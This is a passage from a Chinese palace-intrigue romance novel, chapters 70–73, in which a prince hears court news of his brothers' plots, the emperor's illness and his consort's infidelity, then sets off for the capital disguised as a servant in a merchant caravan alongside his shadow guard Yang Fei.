“本王怎么不知自己做了什么天理难容的事,还劳得上苍用雷霆来惩罚我?” 身为这场洪水的受害者,莫名其妙又变成了罪魁祸首,王爷当然火冒三丈。 杨妃还是见他头一回如此生气,自己的气瞬间就消了。 这里可是客栈,王爷的隔壁虽然没有人,可这间客栈也不止王爷一个,杨妃连忙上前一步坐在床边,一下一下地拍着王爷的后背,试图舒缓一下王爷的情绪,免得给本来就没有多安分的旅途再添烦恼。 “你继续。”王爷深呼了一口气,手搭在胸口上,揉了又揉。 “陛下下令严禁讨论此事,可京中的流言却愈演愈烈……”浅云没再就留言的事继续往下说,“陛下下令革了河道总督的值,并判满门抄斩,不过目前还没有找到河道总督及其家眷。” “此外,其他涉案的官员也被判了斩立决,不过一部分已经随着洪水不知所踪了,剩下的应当会跟着寻找王爷的军队一并返京。” “工部尚书已经被下狱也是满门抄斩,随王爷一同来的工部尚书家的公子也被押着了。” “本王的好兄弟呢?”王爷抬头盯着浅云,他现在有一半的几率确定将河堤炸毁的就是他的兄弟们的人。 因为换成别人不至于在他本人下落不明的情况下在京中传那种传闻。 王爷冷笑了一声,这传闻有什么目的他再清楚不过。 不过就是想将他钉在罪恶的耻辱柱上,让他再也无缘大位吗? 他们家可真是兄友弟恭,炸了河堤让兄弟顺水逐流不说,还生怕这个兄弟回去,双管齐下的断人后路。 妙极了! “陛下震怒,将四皇子禁足于府中,据传或有意降其爵位。” “呵。”人在怒极了的情况下是真的会笑的,王爷就直接笑出了声,“这也是个倒霉催的,倒衬得我心情好了不少。” 杨妃沉默不语,只一味地给王爷顺气。 天家的兄弟之间好像有什么诅咒似的,全天下最恨他们的人就是他们的兄弟,最高兴的事就是看到他们兄弟倒霉。 不过杨妃倒是乐见其成,他家王爷过得不好,他只会希望别的王爷过的更不好。 看在四皇子今天让他家王爷心情舒畅不少的份上,杨妃决定以后要是有机会去杀他的话大发慈悲的给他一个痛快。 “五皇子如何了?” 王爷沉默了一会儿终究还是问起了那个他一贯瞧不上眼的串儿。 因为他思索了半天,能同时和他和四皇子都不对付的皇子也就只有五皇子了,总不能是那个今年才八岁甚至都没封王的老六和常年养在宫外喝汤药比喝奶多的老七吧? 但也不是不可能…… 万一有哪个大臣剑走偏锋,就要押宝押在这两个身上呢? 王爷有些不甘心地想,他到底还是不愿意去怀疑五皇子的,毕竟这可是之前所有人公认的唯一一个不会去竞争皇位的皇子,王爷也曾认为他们之间是有两分真的兄弟情的。 因此他此刻问起的时候,杨妃竟然从他的声音中听出了两分忐忑。 他给王爷顺气的手微微一顿,垂下眼帘等待浅云的回答。 直觉告诉他或许这次王爷不能得偿所愿。 “五皇子未见什么异常。”浅云有点不太确定,五皇子向来都不是他们观察的重点目标,比不上四皇子那般的尽心,“不过近日边疆也不太平,听说北蛮时时有异动,据报有观察到军队调遣的迹象。” “朝中因为这事,关于打还是不打已经吵了数次,提名了不少将领,五皇子主动向陛下请缨返回边疆。” “不过陛下还未应允。” “如今也收到了对方使团的国书,他们的使团已经出发了,事情如何发展还未可知。若是我们动作慢些,说不定他们还会比我们先到一步。” “连他们也要乱起来了?”王爷这下真的觉得有些头痛。 今年到底是什么前无古人的年头? 什么事竟都赶在一起了。 而他这个重要参与者竟然不在现场,真是罪过,王爷叹息一声,决定放过自己不再为无关紧要的人生气。 “算了,不说那些晦气的。”王爷摆了摆手,他短时间内是不想听见他那些兄弟们的消息了。 “可还有其他要事?” 浅云将最近发生的事理了又理。道,“主子,最近是有一件天大的事,相比之下,之前那些倒都不算什么了。” “目前朝野上下忧心忡忡,一方面是因为王爷不知所踪,四皇子又被禁足,那些下了注的大臣们自觉情势不妙,另一方面则是陛下……” “陛下怎么了?” 浅云神色凝重,“自从上一次陛下下旨令王爷继续留守延缓回京后,陛下的身子便不大好了。” “从前陛下虽说身子也不爽利,可朝会还是每日按时,不过现在……” “陛下三五日不上朝也是有的,听说太医寸步不离,已经有太医进言说陛下可服用些丹药养身。” 陛下身患重病,无力朝政,这对他们来说绝对不是个好消息。 若是王爷此时人在京中,说不准杨妃还会祈祷一下陛下早日驾崩,但是现在吗…… 他诚心诚意地对上苍祈祷,陛下一定要活着等到他们回京再驾崩。 不然他家王爷基本与大位无缘了。 杨妃皱着眉,开始思索他们这一行人从哪里回京更快,王爷却已然勃然大怒。 “这又是本王哪个好兄弟出的好主意?”王爷冷笑一声,“丹药那东西竟也是能吃的吗?”《 》 70-80 第71章 王爷的血压被这接二连三的消息硬生生抬的过高,在杨妃的角度连他脖颈上凸起的青筋都看得分明。 “陛下重病之后众皇子纷纷献孝心,四皇子食不下咽听说白云观有位道长医术卓绝被尊称一声医圣,遂请了这位道长入宫。” “五皇子听闻此事不甘示弱,特意将北地擅长祭祀的大巫也一并请来。” “两位皇子较着劲,请来的两位大师也不甘示弱,争执之下那位白云观的道长便提出了或可用丹药之术。” “那位大巫便顺势献上了祖传的金丹。” “……不过据说陛下并未服下。” 几句话说的浅云忐忑极了,没别的,只是王爷那越来越危险的眼神他有点扛不住。 “他们俩倒是挺默契。”王爷嘲讽地说了这样一句。 他们兄弟之间纵然有万般不满,可竟有一样是所有兄弟们不曾言说的共识。 那就是干掉那个在龙椅上坐的足够久了的父皇。 王爷轻笑了两声,孝,可真是太孝了。 “罢了。”王爷不耐烦再在这件事上追根究底,只是平静又疲惫地说,“陛下还能再活多久?” 事已至此,追究到底是谁想对陛下不利除了能让他借机栽赃或者干掉一个竞争对手之外再没了别的意义。 哪怕是这点意义,也不是他现在这个连回京都是个问题的人能做到的。 王爷心下思付,以争夺的火热程度来看,说不定等他千辛万苦地返回了京都死的人都不是一个两个了。 他只希望他的父皇晚一点,起码要活到他回京之后。 “主子,咱们宫里头太监和太医传来的消息,陛下此次怕是等不到立秋了。” “立秋?”王爷沉甸甸的心松了一些,现下才是春日,距离立秋还有不长不短的一段时间。 总归是足够他回京的。 “那就好。”王爷的眉头舒展,脊背也放松了一些,杨妃清晰地感受手下的肌肉变得柔软便顺势给王爷捏肩,换来了浅云难以置信的眼神。 他大概在思考为什么随着王爷出差一趟杨妃那双平日里舞刀弄枪的手竟又多了份手艺。 王爷打断了浅云的思路,“王府里如何了?” 朝中的事说来说去也就那些,王爷该关注的已经关注,他线下又不能插手做什么,便关心下自己争夺的资本。 “王府一切正常。”浅云平静地说,“自从王爷出事的消息传x回京都,府上很是热闹了一阵,不过那些暗中探查的人已经都被属下等解决了。” 他如此说都是已经修饰后的结果,那段时间王府上堪称人来人往也不为过。 所有人好像都笃定了王爷不会回来一般,想来王府上分一杯羹或者找些东西的人就差手拉手的来了。 他们影卫的工作量直接拉满,不速之客的尸体险些都没解决过来。 不过好在他们下手果断,那些人来了两拨之后便不再来了。 “王府平静,但王妃……”浅云小心翼翼地抬头看了一眼王爷,试图斟酌一些委婉的措辞说出那些王爷极有可能难以接受的话。 “王妃怎么了?”王爷一瞧他这个吞吞吐吐的样子,就知道那个连他碰都没碰过心里另有其人的王妃这段时间定然没太安分。 他深呼一口气,做足了心理准备。 “王爷出事的消息传回去的那天,王妃心情很是……畅快。”浅云到底还是没说那么直白,事实上王妃当时仰天长啸,当天连饭都多吃了两大碗。 “此后王妃多参加宴会,属下派人去跟着……发现王妃与四皇子的书童来往过密……言语提及四皇子,也多是些暧昧的话。” “此外,王妃曾寄信给家里,询问若王爷死后他能不能另嫁。” “属下走时,王妃还未得到回应。” 浅云一口气将王爷这顶戴得板板正正的绿帽子讲出来,说完他还不着痕迹地后退半步,低着头盯着王爷新买的靴子上绣了什么花样。 这真是造孽了。 他恨不得自己不在这个屋子里,也恨为什么自己才是懂医术的那一个,更恨自己怎么想不开就做了京中留守的这些人的头儿,不然也不至于出现在今天这个尴尬的场面中。 这可是绿帽子啊…… 属于是谁知道王爷被戴绿帽子谁就很有可能会被灭口的啊。 他悄悄为自己捏了一把冷汗,暗中给杨妃递了一个眼神,希望这位在王爷面前颇受宠爱的影卫头领能挽救一下他的小命。 杨妃当然注意到了他求救的眼神,不过却并未当一回事。 不过是个绿帽子罢了,王爷带着也不是一天两天的事了,打王妃进门之前王爷就知道了,该生的气早都生完了。 果如杨妃所料,王爷听着那话连呼吸都不曾乱过,甚至称得上饶有趣味。 “他在外面过夜了?” 王爷只问了这个。 “……不曾。” 浅云回答的很是错愕,他直接将“就这?”两个字写在了脸上,好像王爷不因为这种事勃然大怒有多匪夷所思一样。 “那边不用管他,多留意他的动向便是了。” 区区一个王妃再做出什么样的事都不会影响到王爷的心情了,之所以问上一嘴也不过是担忧自己莫名其妙的多出个孩子罢了。 想到这里,王爷透过屋子里的镜子悄悄地看了眼杨妃。 【本王可清白得很,绝对没有和其他任何人有过亲密接触。】 【从前不曾有过,以后若是有,也只能是杨妃。】 王爷的心声,深情款款,杨妃过耳一听,不发一言。 王爷想问的话已经都问完了,便觉得有些疲惫,连眨眼的速度都比平常慢了许多。 杨妃看的分明,抬眼就冲浅云递了个眼神,他也识时务见王爷半天都不曾说话就识趣地告退,继续他那个还没来得及休息的休息了。 待浅云走的没影了,屋子里只余下杨妃给王爷按摩时的轻微衣料摩擦声。 又过了一会儿,王爷才开口。 “你觉得……对本王下手的会是五弟吗?” 王爷重重地叹了口气,挺直的脊背再也没有一丝力气,人都差点滑进杨妃的怀里,被杨妃拿出了接暗器一般的速度撑住了脊背。 会不会是五皇子? 这个问题杨妃难以回答。 王爷也不需要回答。 当王爷问出这个问题的时候,他的心中早有决断。 五皇子一定是王爷最不愿意怀疑的对象,可也是目前怀疑程度最高的对象。 从前杨妃也只以为王爷的对手只是那个到处蹦哒的四皇子,顶多再加上那两个没长成的小的,如今看来却…… 方才浅云说的时候他也在思考,以目前的形势来看,哪怕王爷命大没死,目前最大的得利者也是五皇子。 只是杨妃不明白,五皇子费了这么大劲真的有用吗? 朝堂上那些身居高位盘根错节的大人们有多迂腐他心知肚明,一个混血的皇子他们向来是只做表面功夫的,若说是他们支持五皇子上位杨妃是不信的。 从古至今就没有过这样的事! 可偏偏就有极大可能五皇子这样做了,从结果上看好像也快成功了。 不可思议。 杨妃的脑子瞬间想过了很多,忽地,他又想起了一件事,不由得震惊的睁大了眼睛。 “主子……” 杨妃的声音有些干涩,“属下又想起了……一件事。” “嗯?” 王爷轻哼了一声,叫他继续说,杨妃便简单梳理了一下思路。 “王爷可还记得咱们在路上遇到的那波当着我们车队的面还敢动刀子的劫匪?” “那些劫匪颇有些武艺,身上又穿着昂贵的甲胄,当时他们的富裕程度连属下瞧了都眼红。” “如今看来,那些人应当是四皇子的手下了。” “也只有手上有金矿,才能经得起这样的消耗了。” 杨妃按着这个逻辑继续向下说。 “属下斗胆猜测,他们之所以不择手段的去杀那一批商人,恐怕就与他们的货物不小心弄坏了船有关。” “很有可能船就是他们偷偷运输金矿的手段。” 所以在没杀成那些商人之后他们才会选择将船凿沉,因为他们知道这件事极大可能混入了王爷的眼,生怕金矿的事情暴露才直接弃车保帅。 “嗯。”王爷点了点头,也觉得杨妃说的大概八九不离十了,这件事他心里有准备算不上什么大事。 “后来探路的影卫杳无音讯,属下还曾怀疑是不是那些人动的手,可一场伏击却表示那些人的装备和之前的人截然不同。” “属下还记得他们曾经埋在土里的一种极其特别的暗器,那暗器的做工像极了军队的手艺。” “如今回想起来,连形制也很像是大型军弩的改进缩小版。” 话说到此处,杨妃那些未尽的话便也不必再说了,王爷自然懂得他是什么意思。 诸皇子之中能光明正大的接触军队的、甚至能指使军中工匠打造私人武器的,除了五皇子之外还能有谁呢? 之前他们猜测的两拨人现在大致已经身份分明了。 一伙是四皇子的人,装备奢华,为的就是那个金矿。 一伙是五皇子的人,为的就是王爷。 对比下来,好像还是王爷的老对手四皇子更兄弟情深一些。 王爷此番也算是大病初愈,又被那些不妙的消息连番轰炸,此刻已然疲惫至极,“杨妃,我们须得加快回京的进程才行……” 这也是他们当下最需要做的事,杨妃已经有了些想法。 原本只有他们三个人的时候路上虽然艰苦危险但胜在隐蔽,不易被他人发现,现在王爷身边的影卫差不多都集齐了,想像之前那样隐蔽是很难了。 “主子,不如叫人易容成您的样子,我们兵分三路加速回京。” 他原本还思考着要不要和那一批来寻找王爷的人会合一同返京,打量着借着军队的威势应该会更安全,现在倒是一点都不考虑了。 京中的陛下健康状况令人堪忧,可以说但凡有人在这个时候下些黑手马上就要改朝换代了。 此时此刻看似他们的时间还很长,实则宝贵得很,若是他们选择和那一批人会合,有那么一个一来就卧病在床的老臣,王爷又不好强令他上路落得个苛待老臣的名声。 这一来二去在路上耽搁着,等他们回去黄花菜都凉了。 杨妃觉得还是他们自己上路来的稳妥。 至于隐蔽王爷的行踪,他们这么多人个个都是高手,兵分三路也没什么,反倒是对手不一定有那样的精力分兵。 “不妥。”王爷直接否定了杨妃的方案,眉头拧得死死的,瞬间就转头看向杨妃。 【本王还不知道你在想些什么吗,但凡你说了这话了,定是要扮成本王的模样,单独领一队人去吸引对手的。】 “此计大大的不妥。”王爷的眉宇间带着一股怒气和一丝杨妃若是听不见他的心声都察觉不到的后怕。 【本王再也不想独自一个人担惊受怕地去期盼你的消息,尤其是极有可能听到那些不妙的消息!】 第72章 王爷对上一次杨妃单独行动时回来的那一副惨状已经有了心理阴影,但凡杨妃没在他身侧单独出去他都得担x心上一会儿,更别提这种一看就危险重重的任务了。 杨妃担心他的安危宁愿自己去负担风险也要让他平安返回京都,他的心也是一样的。 王爷说什么也不能同意杨妃的方案,“我们的人数不多,对手却不知深浅。” 权衡利弊之下,王爷迅速就接受了五皇子要对他下手的这种可能,就好像之前那个知道此事时神伤的人不是他一样。 “你别忘了,本王那个五弟可是手上有军队的皇子,人,他向来是不缺的。” “本王相信你们一个个武艺高强,可奈何他已经在京都搞出这样大的动静,甚至可能已经对陛下动手,想必也是不介意暗中调兵的。” “到时候围攻之下,怕是武艺再高也难以逃生。” 王爷思路清晰,果断把五皇子当成他们此行最大的障碍,“相比之下还不如大家一起行动。” “只要五皇子没打算明目张胆地发兵抢夺皇位,他就不可能调配大批人马来截堵本王。” “如此在人数上我们也有一战之力。”王爷对杨妃笑了一下,眼神中满是自信,“再加上你们个个都是高手,想来回京也要不了几日。” “就这么定了。” 王爷干脆利落地下了定论不给杨妃继续献策的机会。 杨妃只能应了,“是……不如属下等乔装成商队,能拖延一时也是好的。” 带着王爷上路,他总是想竭尽可能避免那些争斗的。 若真的打起来刀枪无眼,王爷自己武艺平平,万一不慎真的让王爷受伤了,那他万死也难辞其咎。 好在王爷没再在这事上反驳他,杨妃也松了一口气。 王爷觉得各退一步挺好,这一路上只要能一直一起走下去,他就觉得再大的危险也能应付。 王爷心头骤然一松,缓缓躺下。 等他们明早一起上了路恐怕就没有这样了轻松安逸睡觉的时候了。 “今夜你陪本王睡。” 本来瞧着王爷躺下盖着被子,眼睛都闭上,正准备离开的杨妃脚步一顿,难以置信的看着王爷,那一瞬间甚至怀疑是不是自己幻听了。 他难道错过了和王爷的对话吗? 怎么就突然快进到这里了? 一起……睡? 这对吗? 杨妃简直满脑子问号,已然警觉了起来,现在这种场面叫他如何收场? 他已经能感受到房梁上蹲守着的同僚那诧异又灼热的目光了。 无论怎么狡辩一起睡这种话也不像是王爷应该对影卫说的啊! “……主子?” 王爷依旧闭着眼睡得板板正正,杨妃趁王爷看不见他伸手抠了抠自己的耳朵,这大概是他头一回用这种反问的语气质疑王爷的话。 “今夜你就在这里,陪本王一起睡。”王爷又重复了一遍,杨妃咕咚一声干咽了一口唾沫,本能地后退了两步,手也下意识抓住了自己的衣襟。 这这这…… 王爷这回难道是要来真的?! 他……今天就要交代在这里了吗? 啊啊啊—— 他现在装作旧疾复发直接倒在这里还来不来得及? 杨妃的脸色瞬间煞白,嘴唇微微颤抖,他直接伸手抚上自己的心口,恨不得运足内力给自己一巴掌好直接撅过去已躲过这一劫。 谁料他还未来得及有什么动作,床上的王爷就睁开眼非常疑惑的看向他。 “杨妃?” “你还在那里站着做什么?” 王爷这话说的没有一点心虚,完全是对杨妃竟然没听他的话的疑惑。 杨妃的心咯噔两下。 他今日在劫难逃了—— 但他还想再挣扎一下。 “主子,属下……” 属下想自己睡啊—— “好了。叫你今天在这里睡就在这里睡,那小榻上还铺着你准备的毛毯,你今日在那里睡一觉正好。” “本王最近时运不济,没有你守着本王实在寝食难安。” “待明日出了门,再想有这种安然入睡的时候便难了,你也好好休息吧。” 王爷理所当然地讲,重新拍了拍自己的被子,眼睛一闭就不再搭理杨妃了。 杨妃那颗提起来的心缓缓放进肚子里。 原来是这个一起睡啊…… 是他以小人之心度君子之腹了,王爷的心思果然不能猜,他差点把自己吓死。 不,他是差点直接对自己动手,险些让整个队伍的战斗力减员。 若不是王爷方才开口开得快,他们回京路上还没等出门便要再生波折了。 哈哈! 自己吓自己! 杨妃完全放松了下来,这才惊觉自己的冷汗已经浸湿了里衣,不过现在王爷已经睡了,又叫他也在屋子里睡下,便不好再去换衣服了。 他脚步轻快地走向小塌,轻手轻脚地躺下双手交叉放在小腹,支棱着耳朵听着王爷的动静。 今天对王爷来说也是翻天覆地的一天,王爷嘴上说着没什么,到底还是心绪难平,现在已经十分疲惫却仍难以入睡。 杨妃听着王爷略显急促的呼吸猜不到他在想什么。 大约是一些和他没有关系的事。 只要王爷不想着他,那就没有能叫他听见的心声。 应该是在想他那些兄弟们吧。 杨妃大胆猜测。 在发现自己的所有兄弟们都想要自己的命时,只要是个人都会陷入沉思的吧。 杨妃和王爷之间的默契世间仅有,他想的不错,王爷确实在想他那些兄弟们。 不过不是杨妃想的那样自我怀疑又或者是渴望兄弟情谊。 王爷在思考怎么能快速干掉那些想要对他动手的兄弟们。 他想得极其专注,甚至称得上心无杂念。 这一次命悬一线的经历说不改变人那是假的。 曾经的王爷若是能和杨妃独处一室心里早就乐开了花了,指不定思维发散到哪里去,嘴角也定然是压不下去的,若是再想得乱一些,出现什么事都是有可能的。 可经历了这样一番险境的王爷却一点想法都没有。 他悟明白了一件事。 那就是若是他想得偿所愿和杨妃双宿双飞,那他得有命在才行。 他怎么样才能做到小命一直在自己手里安然无虞呢? 那得将所有能威胁到他性命的敌人全都解决才行。 谁是他的敌人呢? 那必然是他的兄弟们加上那个据说已经被人下毒手命悬一线的亲爹了。 简单整理一番过后,王爷的思路极其清晰,并且得出了一个结论。 那就是只要那几个和他有血缘关系的人活着一天,他就一天不能得安生,不将他们解决,他所有的期望都难以实现。 就算他现在实现了,最后也只会成为那些个兄弟们攻击他的目标。 到时候…… 王爷不敢再继续想下去,他或许不会因为事情暴露怎么样,但杨妃恐怕就难以保证了。 还是得先弄死他们才行。 王爷默默地想着。 好在他专心逃命的这段时间京中的那些人都没闲着,一个个斗得欢快,倒像是在帮他做事了。 其他的暂且不提,他那个最难搞的爹这次怕是真的难逃一死了。 他的兄弟们干起活来可真是效率高,最难搞的都让他们搞定了,让他省了这种对亲爹下手的不孝罪名。 还是兄弟多好啊,王爷感慨着,同一个目标但凡下手慢一点都抢不上槽。 只要他能平安返京,这事就也算他捡了漏了。 陛下半只脚踏进阎王殿,四皇子也被禁了足。 可真是太妙了。 王爷绝不可能让他再有出来的一天。 那个金矿就是一个很好的突破口。 金矿的事情一旦暴露,四皇子的心思便再也藏不住了,他那个满脑子都是怀疑的父皇会怎么想那些金子的去向呢? 除了怀疑他私自藏兵之外应该不作他想吧。 王爷太懂他那个爹,天天都在琢磨些什么了,这件事只要一暴露出来,四皇子恐怕就会被贬为庶人圈禁至死。 不过这件事万万不能由他的口说出来…… 他那个爹疯起来可是无差别扫射,谁凑到他面前让他瞧见了都落不得好,最好是推脱给五皇子。 王爷暂时还没想好怎么样能让五皇子揭露,直接将四皇子私采金矿的事情偷偷告诉他,恐怕是不行的。 那家伙可有兵权在身,若是让他知道了金矿的事,王爷用屁股想都知道那家伙必定会派兵将那金矿拿下。 到时候有兵在手,又有钱在身,他都不需要等圣旨传位于他,直接一路打回来就行了。 那可真就是肉包子打狗一去不复返了,他是不可能做这样的蠢事的。 王爷思索了一会儿,眼睛已然干涩,人却没有一点困意,没有思路之间,甚至思维还更清醒了一些。 说不定还不等他想出来怎么对四皇子下手,他亲爱的五弟就x先他一步动手了呢。 王爷烦躁地翻了个身,如此想来,他还得祈祷他们动手慢一点,别等他回京了人都杀的差不多了。 嗯? 想着想着王爷忽然惊觉,算来算去怎么好像现在在京中那些官员眼里,怎么好像只剩下五皇子赢面最大了呢? 王爷有一瞬间凌乱。 不,不对。 恐怕在那些官员看来,陛下是多半不行了,四皇子也差不多倒台,他这个王爷大概率死于洪水,五皇子又是个无缘皇位的串儿,一时之间成年的皇子好像都完球了。 成年的皇子没了指望,他们若不想自己起兵造反,挟持幼帝登基又是一个绝妙的选择。 挟天子以令诸侯。 王爷换位思考,也觉得有点兴奋起来了。 他忽然打了个激灵,恐怕他这次回京的路更加不太平了。 敌人加加加加到厌倦。 很烦。 王爷困的脑瓜子嗡嗡的,眼睛更是早早的都睁不开了,但脑子却在一次又一次的推算中越来越清醒。 杨妃躺在那里宛若一具安详的尸体,安安静静地听着王爷一直没断过的悉悉索索声,默默的数着自己的心跳计时。 他可怜的王爷啊,在接二连三的打击下终究还是失眠了。 这可不行。 明天就要上路了,王爷今日若是休息不好再加上半路奔波劳累,若是病了可就麻烦了。 这般想着杨妃刷一下睁开眼睛,扭头瞟了一眼那头背对着他缩成一团的王爷,坐起身悄悄地穿上鞋起身走了。 王爷:??? 杨妃的脚步极轻,但架不住王爷精神正亢奋,那点衣料摩擦的细微声响都被他捕捉到了。 什么情况? 王爷懵懵的。 他不是叫杨妃今天晚上就和他睡在一个屋里吗,怎么他还学会阳奉阴违,半夜偷偷的跑了? 王爷翻了个身面对门的方向,他本想睁开眼看看是什么情况,可眼皮却闭得牢牢的一时间竟没能睁开。 杨妃并没有像王爷想的那样偷偷跑了,他向来是发现问题就要解决的,像王爷失眠这种情况解决起来再简单不过。 若是实在没有办法,他可以选择直接点了王爷的睡穴。 不过现在同僚们都聚集在一起,更有个擅长医术的浅云在,他便也不必采用那种粗暴的解决方案了。 杨妃选择直接管浅云要一点安神香。 他走到前院的门口抬手轻轻敲了敲,也不等里面的人回话直接推门走了进去。 被又一次打扰了休息的浅云火冒三丈。 “你最好有事!”他咬牙切齿地说。 饶是他自认为自己脾气向来好得很,可也受不了这种接二连三被打发走,嘴上说着让他回去休息,实际上却有干不完的事儿。 没有这样折腾人的!影卫也需要休息好不好!不是每一个影卫都像杨妃一样守在王爷身边就像吃了十全大补丸似的! 浅云恨不得对着杨妃邦邦几拳,却也捏着鼻子坐了起来,把那点残存的困意甩得一干二净。 “莫不是王爷那里又出了什么状况?”他大胆猜测,杨妃这家伙若是没有事向来视他如无物,“莫不是王爷恢复记忆了?” 他对自己这一次失败的治疗案例耿耿于怀。 “今日你的话太多了。”杨妃有点不满,浅云和王爷说了太多不好的消息,桩桩件件又都是王爷非常关心的,“王爷思虑过重有些失眠。” “哦。” 浅云非常理解,但凡是个人面对王爷那样的处境都会心绪难平,他利索地翻身下床,从自己那个宝贝的药箱子里抽出了一个小圆筒,捏了一根线香递给杨妃。 “一半应当就够了,算下去刚好足够王爷睡到天光大明的。” 他又从瓷瓶里倒出两个药丸来一并塞到杨妃掌心,“这东西虽不伤身但效果挺强,这是解药。” “免得你睡得像个死猪一样。” 将杨妃想要的东西统统给他,浅云就不客气的开始撵人了。 要不是王爷的安危杨妃也得出一份力,浅云都不想把解药给他。 让他和王爷一并睡死,好饶他个清静。 杨妃毫不在意浅云嫌弃的态度,一甩手人就走路带风地回去了。 那头东猜西猜杨妃到底去干什么了的王爷终于等到了他想听的脚步声,他强睁开眼睛眯出一个小缝来,就见着杨妃站在他的床头。 “主子,属下给您点一支安神香您放心地睡吧。” 现象被杨妃插在香炉中,带着药香味的香烟缓缓弥漫了整个空间,王爷的意识也越来越沉,渐渐地就什么都不知道了。 当然也没听到蹲守在房梁上的影卫因为这香晃了下神险些掉下来的声音。 杨妃:“……” 提前吃了解药的杨妃有点没眼看半只腿都滑下来的同僚,他轻身一跃到房梁上,很是嫌弃地将另一枚解药塞进了他嘴里,人就又跳下去极快地躺平了。 和王爷逃难的这一路,他也是精疲力竭,现下有同僚守着,便也能安心地睡上一会儿了。 第73章 可能是浅云给的解药没有那么好用,杨妃这一觉睡眠质量极其高,以至于他竟然没有王爷醒的早。 屋子里静悄悄的,杨妃能感受到阳光透过窗就朦朦胧胧地照在他脸上,暖洋洋的并不刺眼。 他睁开眼,正好对上王爷闪闪发亮的眼睛。 杨妃:??? 这什么情况? 杨妃眼睛一下就瞪大了,他瞳孔震颤地看着班了个椅子坐在他身边杵着下巴一直瞧着他的王爷,恍恍惚惚。 他……警觉性差到这个程度了吗? 连王爷什么时候醒的,什么时候搬了椅子,又什么时候坐在他身边看他都不知道。 还是说王爷在他不知道的时候偷练了绝世的轻功,动静小到能瞒过他的感知。 杨妃当然知道,那是不可能的。 但身为一个影卫,俩眼一睁就瞧到自己的主子盯着自己看,也实在是太失职了。 他怎么能醒的比王爷还晚? 杨妃打了个冷颤人直接从小踏上滚了下去,还被王爷扶了一把。 “主子……” “本王还是头一回见你睡得这么香。” 杨妃一时间没捉摸出来,王爷这句话到底是反讽还是真心的,王爷也没等他想明白直接摆了摆手,“既然你醒了,那我们也是时候准备准备离开这里了。” “是。” 假扮成商队一起离开是昨天就已经想好了的计划,王爷下令准备离开,影卫们就有条不紊地收拾行李准备易容。 王爷也需要改换形象。 杨妃特意给王爷挑了一套十分富贵的衣服,确保每一个见着王爷的人都会毫不犹豫地将王爷归类为富甲一方的富商。 那套衣服织金着锦,若是论价值上来看,当然比不上王爷日常里总穿的贡品那样珍稀昂贵,可胜在金光闪闪,又缝了皮毛的毛边,再带上那一串儿圆圆的大金链子,富贵气挡都挡不住。 可能就是因为这一套衣服瞧上去太富贵,王爷嫌弃的很,说什么也不肯穿。 “主子。”杨妃提溜起那一套他精挑细选的衣服,不死心地继续劝说,“商队的东家再符合您的身份不过,这些人里也只有主子您的气质能撑得起来。” 他两眼一睁就开始胡说。 他们影卫可是都经历过专业训练的,扮起什么样的人来说都不在话下,可王爷就不一样了。 王爷哪里学过这个? 为了不在王爷身上露出破绽,杨妃今天说什么也得将这套衣服套在王爷身上不可。 可王爷在这方面突然倔强的很,说什么都不肯穿,反而是把小厮那一身灰白的衣服抓在手里不放。 “这次返京你来做这个富商,我来做你的小厮。”王爷斩钉截铁地说,非常嫌弃地把那一身张扬的衣服丢到杨妃怀里,自己抓着那一身灰白的衣服就要去换上。 杨妃:??? 夭寿了。 他有几个胆子让王爷装作小厮来伺候他啊? 简直倒反天罡! 但谁叫王爷才是老大呢? 最终当他们带着准备好的货物离开这座城的时候,马车里就坐着穿金戴银的杨妃和坐在他旁边看上去蔫巴的小厮。 马车里安静得很,扮成了富户的杨妃俩眼一闭靠坐在马车里,手上金球串成的念珠被他捻着转了一遍又一遍。 杨妃看上去是个十足十的老爷样,端的是一副不怒自威,实际上人已经走了有一会儿了。 他就说不能让王爷扮成小厮,王爷偏不从。 这会儿马车帘子一关他们俩怎么样倒是无所谓,这路上碰见人了可咋整? 杨妃悄悄抬个眼缝去看王爷,然后眼前一黑,眼不见心未静地闭上了。 还好没有别人瞧见这x一幕,不然但凡那个人不是瞎子不是傻子,都不太相信王爷的身份的。 哎。 杨妃真的很想叹气。 他想象不出来王爷能怎样在别人的面前做好小厮的工作,也对万一王爷到时候真的给他端茶倒水他怎么接有些头疼。 他这个影卫做的也是前无古人,后无来者了,往前推几千年都没有这种让主子伺候一回的殊荣吧。 头疼。 杨妃非常头疼。 他宁可自个儿这个富商的身份平日里就爱亲力亲为也不想让王爷有发挥的机会。 不过目前来看恐怕是不能了。 头一次易容的王爷肉眼可见的兴奋,杨妃估摸着他一定要用这个身份做点什么。 扮成小厮的王爷心情倒是还不错,他很是新奇地照着镜子,把自己伪装后的脸摸了一遍又一遍,怎么看都不觉得够。 “杨……老爷。”王爷果然不出杨妃所料一开口就险些叫错名字,不过即使在马车里那也就无所谓了,磕绊了一下之后王爷很自然地对着杨妃扬起个笑脸,“你看我这个样子怎么样?” 王爷捏着自己的脸皮提了一下,这光滑的和真正的皮肤没什么区别的触感处摸上去时,他只觉得毛骨悚然,不过习惯了之后就觉得还蛮不错。 “这门手艺不去开个医馆可惜了。”王爷感叹道,“那些长得丑的、脸上有疤的,便是花多少钱去换一张正常的脸也会乐意的吧?” 杨妃:…… 他对王爷这种角色扮演只维持几个呼吸的情况很有心理准备,也没有在没人的时候强令王爷装扮的欲望,像往常一般回王爷的话。 “这东西虽然看上去不错,可实在是不便宜。”杨妃抿了抿唇,这东西要用在其他人的身上非是颇有家资的富户都用不起的。 “而且也不能常用,要定时更换,消耗的就更加贵了。” 杨妃心情复杂地看着王爷不停地对他那张新鲜的脸动手动脚,一颗心也七上八下的。 他生怕王爷手上没轻没重地破坏了这张假面。 也就是王爷对王府里极高的花销习以为常,不然等王爷见了他们这一批人易容所用的消耗,就说不出这样的话了。 杨妃又叹了口气,他撩开车帘让驾车的影卫加快赶车的速度,希望能在王爷弄坏了这张脸之前返回王府。 纵使家财万贯,也不能这般地挥霍,王爷的钱用来厉兵秣马不是更好? 一张脸还不能让王爷的新鲜劲儿过去,他没消停多久,就找到了新玩法。 杨妃麻木地看着王爷拿着匕首生疏地削着苹果,炒着连着果皮被削掉的一大块果肉很是心疼,看着王爷一刀轻一刀重的动作也提心吊胆。 他几乎在马车里坐立难安了,这种如坐针毡的感觉在他眼睁睁的看着王爷拿小叉子叉起一块苹果递到他嘴边时达到了顶峰。 他就知道—— 王爷是不会放过他的! 杨妃的嘴唇颤动了一下,苹果的香气不停地往他鼻腔里钻,举着苹果几乎戳在他嘴唇上的王爷也正目光灼灼饱含期待的望着他。 他能怎么办? 当然是陪着王爷玩到尽兴了。 